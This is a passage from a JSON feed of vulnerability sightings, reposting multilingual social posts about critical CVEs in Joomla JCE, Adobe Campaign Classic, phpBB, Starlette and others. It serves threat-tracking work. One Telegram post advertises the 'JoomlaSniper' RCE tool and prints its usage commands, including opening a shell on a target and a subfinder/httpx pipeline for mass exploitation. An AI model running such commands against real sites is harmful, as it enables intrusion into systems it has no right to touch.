Classic\uff08ACC\uff09\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u4eca\u5f8c\u60aa\u7528\u3055\u308c\u308b\u30ea\u30b9\u30af\u304c\u9ad8\u3044\u3068\u3057\u3066\u65e9\u6025\u306b\u5bfe\u7b56\u3092\u8b1b\u3058\u308b\u3088\u3046\u547c\u3073\u304b\u3051\u3066\u3044\u308b\u3002\n\n...\n\n\u300cCVE-2026-48449\u300d\u306f\u3001\u4e0d\u9069\u5207\u306a\u8a8d\u53ef\u51e6\u7406\u306b\u8d77\u56e0\u3059\u308b\u8106\u5f31\u6027\u3002\u30ea\u30e2\u30fc\u30c8\u3088\u308a\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u3059\u308b\u3053\u3068\u306a\u304f\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\n\n\u4e00\u65b9\u300cCVE-2026-48448\u300d\u306f\u3001\u300cSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u300d\u306e\u8106\u5f31\u6027\u3002\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u305b\u305a\u3001\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u4e0a\u306b\u3042\u308b\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u53d6\u3089\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002", "creation_timestamp": "2026-08-30T13:30:52.983064Z"}, {"uuid": "0c58ee5c-d386-4ab2-b0af-8c38e116d7e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100382", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a phpBB-CVE-2026-48611\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Ethicalgrey\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-30 15:37:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAutomated PoC for CVE-2026-48611 \u2014 phpBB OAuth login_link authentication bypass\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-30T18:00:03.759258Z"}, {"uuid": "41cf542b-71cd-4223-9c5d-b130b31c24c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "exploited", "source": "https://t.me/CyberDispatch/2003", "content": "A Joomla flaw is now on CISA\u2019s exploited bug list.\n\nCVE-2026-48907 has a max CVSS score of 10.0 and can let attackers upload and run PHP code through JCE editor profiles.\n\nAffected versions: 1.0.0 through 2.9.99.4\nFixed in: 2.9.99.5", "creation_timestamp": "2026-08-31T00:00:39.408900Z"}, {"uuid": "760449aa-e535-4b8d-b240-efed8b11fcb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mufou5qbp22c", "content": "Adobe\u306f\u3001Campaign Classic\u306b\u304a\u3051\u308b\u6700\u5927\u6df1\u523b\u5ea6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3057\u307e\u3057\u305f\u3002\n\nAdobe\u306f\u3001\u540c\u793e\u306e\u30a8\u30f3\u30bf\u30fc\u30d7\u30e9\u30a4\u30ba\u5411\u3051\u30de\u30fc\u30b1\u30c6\u30a3\u30f3\u30b0\u30aa\u30fc\u30c8\u30e1\u30fc\u30b7\u30e7\u30f3\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3067\u3042\u308bAdobe Campaign Classic\u306b\u304a\u3051\u308b\u3001CVE-2026-48449\uff08CVSS\u30b9\u30b3\u30a210.0\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u51e6\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u8a8d\u8a3c\u306e\u4e0d\u5099\u304c\u539f\u56e0\u3067\u767a\u751f\u3057\u3001\u653b\u6483\u8005\u304c\u30e6\u30fc\u30b6\u30fc\u306e\u64cd\u4f5c\u3092\u5fc5\u8981\u3068\u305b\u305a\u306b\u3001\u73fe\u5728\u306e\u30e6\u30fc\u30b6\u30fc\u306e\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u3067\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\n\n\u300cAdobe\u306fAdobe Campaign Classic\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f..", "creation_timestamp": "2026-08-31T19:56:57.111338Z"}, {"uuid": "1b4bf746-12a6-49ae-9e47-4edebe370522", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4813", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/gtv6hwbaehxjs", "content": "CVE-2026-4813 - Code injection in the Lutece Core\nCVE ID : CVE-2026-4813\n \n Published : Sept. 1, 2026, 10:54 a.m. | 18\u00a0minutes ago\n \n Description : A vulnerability in the Lutece Core XSL export management module up to version 7.1.7, which allows authenticated administrators to...", "creation_timestamp": "2026-09-01T11:37:21.132112Z"}, {"uuid": "98448a98-f6ea-4064-b56e-a83319828ecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4813", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3muhf33hjcg2p", "content": "\ud83d\udea8 CVE-2026-4813 \u2014 CVSS 9.4 CRITICAL\n\nA vulnerability in the Lutece Core XSL export management module up to version 7.1.7, which allows authentic...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-4813\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-01T12:07:10.341370Z"}, {"uuid": "a06d89cc-8089-40c6-9088-ede2f4e40643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4813", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhgvvjok42l", "content": "CVE-2026-4813 - lutece core\nThe export tool in Lutece Core allows administrators to upload special transformation files. Because the system does not enforce a safe processing mode, a crafted file can cause\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#lutececore #lutece #CVE #infosec", "creation_timestamp": "2026-09-01T12:40:04.131317Z"}, {"uuid": "cf3daae0-5137-4605-affb-9382b7b06166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/47087", "content": "[Critical 10.0 CVE-2026-48907] Unauthenticated RCE in the Joomla Content Editor extension \ud83e\udd2f\ud83d\udd25\n\n\ud83d\udd17 https://github.com/gh1mau/masta-cve-2026-48907\n\ud83d\udd17 https://www.cve.org/CVERecord?id=CVE-2026-48907\n\ud83d\udd17 https://github.com/advisories/GHSA-c3f5-4g7f-qjqj\n\ud83d\udd17 https://www.yeswehack.com/news/rce-joomla-content-editor-extension", "creation_timestamp": "2026-09-02T06:00:06.939347Z"}, {"uuid": "2c055a40-3328-47ea-a1fa-ebb62fe77a69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/46893", "content": "CVE-2026-48909 \u2014 SP LMS PHP Object Injection - RCE\n*\nPOC  \u2264 4.1.3 for Joomla CMS", "creation_timestamp": "2026-09-02T06:00:07.619188Z"}, {"uuid": "aab9d24e-ab0b-4b9e-bb87-b1c82c8e460c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/46690", "content": "\ud83d\udea8 CVE-2026-48907 \u2014 JoomlaSniper v1.0 released\n\nUnauthenticated RCE in Joomla JCE Editor (\u22642.9.99.4)\nCVSS 10.0 \u2022 Affects ALL production versions\n\nFile upload \u2192 PHP execution in /tmp/ \u2014 no auth required\n\n\ud83d\udd17 http://github.com/ynsmroztas/JoomlaSniper\n\nTool features:\n\n\u2705 Dual vector (tmp/ + JCE browser)\n\u2705 Interactive shell\n\u2705 Zero dependencies (stdlib only)\n\u2705 Pipeline: subfinder | httpx | JoomlaSniper\n\u2705 Multi-function fallback (shell_exec \u2192 system \u2192 passthru)\n\u2705 Auto store code detection\n\nFixed in JCE 2.9.99.5\n\nQuick test:\n\npython3 http://JoomlaSniper.py -u http://target.com --shell\n\nSubdomain tarama:\n\nsubfinder -d http://target.com | httpx -silent | python3 http://JoomlaSniper.py\n\n#BugBounty #InfoSec #RedTeam #AppSec #bugbountytip #bugbountytips #infosec #recon", "creation_timestamp": "2026-09-02T06:00:07.518598Z"}, {"uuid": "69623706-dc07-4e60-a9f9-7d9187f99180", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/47149", "content": "CVE-2026-48558 SimpleHelp OIDC (OpenID Connect) Authentication Bypass\n*\nPoC\n*\nWriteUp", "creation_timestamp": "2026-09-02T06:00:07.070074Z"}, {"uuid": "2cee2676-fa56-4c57-9d85-6ea17485a7ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://t.me/SecLabNews/17791", "content": "\u0415\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043e\u0431\u0437\u043e\u0440 \u043a\u0438\u0431\u0435\u0440\u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439\n\n\u041d\u0435\u0434\u0435\u043b\u044f \u0432\u044b\u0434\u0430\u043b\u0430\u0441\u044c \u043f\u043b\u043e\u0442\u043d\u043e\u0439: \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u044e\u0442 \u0421\u041e\u0420\u041c \u0438 \u0433\u043e\u0442\u043e\u0432\u044f\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432 \u043a\u0430\u0440\u0442 \u0438 \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u0432, \u0432 \u043c\u0438\u0440\u0435 Anthropic \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 Claude Opus 4.8, \u0430 IBM \u0441 Red Hat \u0432\u043b\u043e\u0436\u0438\u043b\u0438 \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u044b \u0432 \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0438, \u0447\u0442\u043e \u0431\u043e\u0442\u043d\u0435\u0442 Glassworm \u043f\u043e\u0447\u0442\u0438 \u0433\u043e\u0434 \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u043e\u043f\u0443\u0441\u0442\u043e\u0448\u0430\u043b \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u2014 \u0441\u043e\u0431\u0440\u0430\u043b\u0438 \u0441\u0430\u043c\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u043d\u0435\u0434\u0435\u043b\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0432\u044b \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u043b\u0438.\n\n\ud83c\udf0e \u0412 \u043c\u0438\u0440\u0435\n\nIBM \u0438 Red Hat \u0431\u0440\u043e\u0441\u0430\u044e\u0442 $5 \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u043e\u0432 \u043d\u0430 \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u2014 \u043f\u0435\u0440\u0432\u044b\u043c\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043b\u0438\u0441\u044c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437 Fortune 500.\n\nAnthropic \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 Claude Opus 4.8 \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u0432\u0447\u0435\u0442\u0432\u0435\u0440\u043e \u0440\u0435\u0436\u0435 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0431\u0430\u0433\u0438 \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u0434\u0435.\n\n\u0421 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c Space Data Network \u0418\u043b\u043e\u043d \u041c\u0430\u0441\u043a \u0441\u0442\u0430\u043b \u043c\u043e\u043d\u043e\u043f\u043e\u043b\u0438\u0441\u0442\u043e\u043c \u0432\u043e\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0441\u043c\u043e\u0441\u0430 \u0421\u0428\u0410.\n\n\u041f\u043e\u043b\u0438\u0446\u0438\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u0440\u0443\u043f\u043d\u0435\u0439\u0448\u0438\u0445 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432 \u043c\u0438\u0440\u0430 \u2014 200 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 17 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0436\u0435\u0440\u0442\u0432.\n\n\u041f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442 \u0427\u0435\u0445\u0438\u0438 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b \u041d\u0410\u0422\u041e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0420\u043e\u0441\u0441\u0438\u0438 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442, \u0441\u043f\u0443\u0442\u043d\u0438\u043a\u0438 \u0438 \u0431\u0430\u043d\u043a\u0438 \u0432 \u043e\u0442\u0432\u0435\u0442 \u041c\u043e\u0441\u043a\u0432\u0435.\n\n\ud83c\uddf7\ud83c\uddfa\u0412 \u0420\u043e\u0441\u0441\u0438\u0438\n\n\u041c\u0438\u043d\u0446\u0438\u0444\u0440\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u043b\u043e \u0421\u041e\u0420\u041c 2.0: \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c \u043e\u0442\u0434\u0430\u0434\u0443\u0442 \u043f\u0430\u0441\u043f\u043e\u0440\u0442, \u0430\u0434\u0440\u0435\u0441 \u0438 \u0433\u0435\u043e\u043b\u043e\u043a\u0430\u0446\u0438\u044e \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u0432.\n\n\u0411\u0438\u0437\u043d\u0435\u0441\u0443 \u0434\u0430\u0434\u0443\u0442 \u043e\u0442\u0441\u0440\u043e\u0447\u043a\u0438 \u0438 \u043b\u044c\u0433\u043e\u0442\u044b \u0437\u0430 \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0444\u0442\u0430 \u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435.\n\n\u00ab\u0410\u043d\u0442\u0438\u0444\u0440\u043e\u0434-2\u00bb \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442 \u0440\u043e\u0441\u0441\u0438\u044f\u043d \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u044c\u044e \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u043c\u0438 \u043a\u0430\u0440\u0442\u0430\u043c\u0438 \u043d\u0430 \u0432\u0441\u0435 \u0431\u0430\u043d\u043a\u0438 \u0441\u0440\u0430\u0437\u0443.\n\n\u041f\u043e\u0441\u043b\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0444\u0438\u043d\u0433\u0435\u0440\u043f\u0440\u0438\u043d\u0442\u043e\u0432 Chrome \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u0441\u044b\u043f\u043b\u044e\u0442\u0441\u044f MTProto \u0438 VPN.\n\n\u0420\u043e\u0441\u043a\u043e\u043c\u043d\u0430\u0434\u0437\u043e\u0440 \u0443\u0436\u0435 \u043e\u0448\u0442\u0440\u0430\u0444\u043e\u0432\u0430\u043b 85 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0437\u0430 \u043d\u0435\u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431 IP-\u0430\u0434\u0440\u0435\u0441\u0430\u0445 \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u0432.\n\n\ud83d\udc7b \u041d\u043e\u0432\u043e\u0441\u0442\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0418\u0411\n\n\u0411\u043e\u0442\u043d\u0435\u0442 Glassworm \u043f\u043e\u0447\u0442\u0438 \u0433\u043e\u0434 \u043f\u0440\u044f\u0442\u0430\u043b\u0441\u044f \u0432 GitHub \u0438 \u0437\u0430\u0440\u0430\u0436\u0430\u043b \u043a\u043e\u0434 \u0442\u044b\u0441\u044f\u0447 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Red Lamassu \u0441 2019 \u0433\u043e\u0434\u0430 \u0448\u043f\u0438\u043e\u043d\u0438\u0442 \u0437\u0430 \u0442\u0435\u043b\u0435\u043a\u043e\u043c-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0447\u0435\u0440\u0435\u0437 Linux \u0438 Windows.\n\n\u0412 Starlette \u043d\u0430\u0448\u043b\u0438 \u0434\u044b\u0440\u0443: \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043c\u043e\u0436\u043d\u043e \u043e\u0434\u043d\u0438\u043c \u00ab?\u00bb \u0432 \u0430\u0434\u0440\u0435\u0441\u0435.\n\n\u041e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0430\u0440\u0445\u0438\u0432\u0430 \u0432 7-Zip \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (CVE-2026-48095).\n\nTrend Micro \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u043b\u0430 0day \u0432 Apex One, \u0437\u0430\u0440\u0430\u0436\u0430\u0432\u0448\u0443\u044e \u0432\u0441\u044e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u0441\u0435\u0442\u044c \u043e\u0434\u043d\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c.\n\n\ud83d\udcc2\u0421\u0442\u0430\u0442\u044c\u0438\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u0430 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 CVE: \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u0441\u043b\u0435\u043f\u0443\u044e \u0437\u043e\u043d\u0443 AppSec \u0438 \u0443\u0433\u0440\u043e\u0437\u044b \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u2014 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, protestware \u0438 \u0437\u0430\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u044b\u043d\u043a\u0430 \u0418\u0418-\u0447\u0438\u043f\u043e\u0432 2026: NVIDIA, AMD, Google, Huawei \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u043f\u043e\u0440\u044f\u0442 \u0443\u0436\u0435 \u043d\u0435 \u0437\u0430 \u0442\u0435\u0440\u0430\u0444\u043b\u043e\u043f\u0441\u044b, \u0430 \u0437\u0430 \u043f\u0430\u043c\u044f\u0442\u044c, \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0443 \u0438 \u0446\u0435\u043d\u0443 \u0442\u043e\u043a\u0435\u043d\u0430.\n\n\u041d\u043e\u0432\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 ASPA \u043d\u0435 \u0447\u0438\u043d\u0438\u0442 \u0432\u0435\u0441\u044c BGP, \u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0431\u043e\u043b\u0435\u0437\u043d\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043c\u0435\u0436\u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u2014 \u0443\u0442\u0435\u0447\u043a\u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432.\n\n\u2b50\ufe0f\u041c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u044f\n\n4 \u0438\u044e\u043d\u044f \u0432 14:00 \u043c\u0441\u043a \u2014 \u043e\u043d\u043b\u0430\u0439\u043d-\u0437\u0430\u043f\u0443\u0441\u043a PT NAD 13.0 \u043e\u0442 Positive Technologies: \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a.\n\n17-18 \u0438\u044e\u043d\u044f \u2014 Product Backstage \u043e\u0442 Positive Technologies: \u0436\u0438\u0432\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0438, \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u044b \u043e ML/LLM \u0438 \u0434\u043e\u043a\u043b\u0430\u0434\u044b \u0441\u043f\u0438\u043a\u0435\u0440\u043e\u0432 \u043e \u0442\u0440\u0435\u043d\u0434\u0430\u0445 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u0430.\n\n\u0414\u0435\u043b\u0438\u0442\u0435\u0441\u044c \u0432 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445, \u043a\u0430\u043a \u043f\u0440\u043e\u0448\u043b\u0430 \u0432\u0430\u0448\u0430 \u043d\u0435\u0434\u0435\u043b\u044f \u0438 \u043a\u0430\u043a\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0443\u0434\u0438\u0432\u0438\u043b\u0430.\n\n@SecLabNews", "creation_timestamp": "2026-09-02T17:00:19.458007Z"}, {"uuid": "810f9a98-c675-4858-9dd7-a7513d37e14e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/entorisec.bsky.social/post/3mukh5qfy2e2a", "content": "CISA added Starlette's Host header bypass, CVE-2026-48710, to KEV today on evidence of active exploitation. A malformed Host header makes request.url.path differ from the routed path, bypassing path-based auth middleware in FastAPI apps not yet on 1.0.1. github.com/Kludex/starle...", "creation_timestamp": "2026-09-02T17:22:26.379369Z"}, {"uuid": "cc435101-bea1-4b9a-96ad-93fd3e0b53e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mukhl6nrws2v", "content": "\ud83d\uded1 CVE-2026-48710\nKludex Starlette\nCVSS 6.5 / EPSS 2% / KEV: No\nTL;DR: Starlette is a lightweight ASGI framework/toolkit. Prior to version 1.0.1, the HTTP `Host`\u2026\nhttps://cvesentinel.com/report/CVE-2026-48710?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-09-02T17:29:57.247107Z"}, {"uuid": "b93fa54f-8b0f-40df-9111-ab35407f93fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/csirts.com/post/3mukj5hkb2b27", "content": "\ud83d\udea8 Added to CISA KEV \u2014 actively exploited:\nCVE-2026-48710: Kludex Starlette HTTP Request/Response Smuggling Vulnerability\n\nhttps://www.csirts.com/cve/CVE-2026-48710", "creation_timestamp": "2026-09-02T17:58:04.366868Z"}, {"uuid": "d96fe4ac-df95-496f-82fe-14fd652ebefb", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/87f4e206-8c3a-4734-a0b3-0cb2874ce257", "content": "", "creation_timestamp": "2026-09-02T18:00:02.023114Z"}, {"uuid": "593da085-7711-40ae-9b90-5e184038e3c3", "vulnerability_lookup_origin": 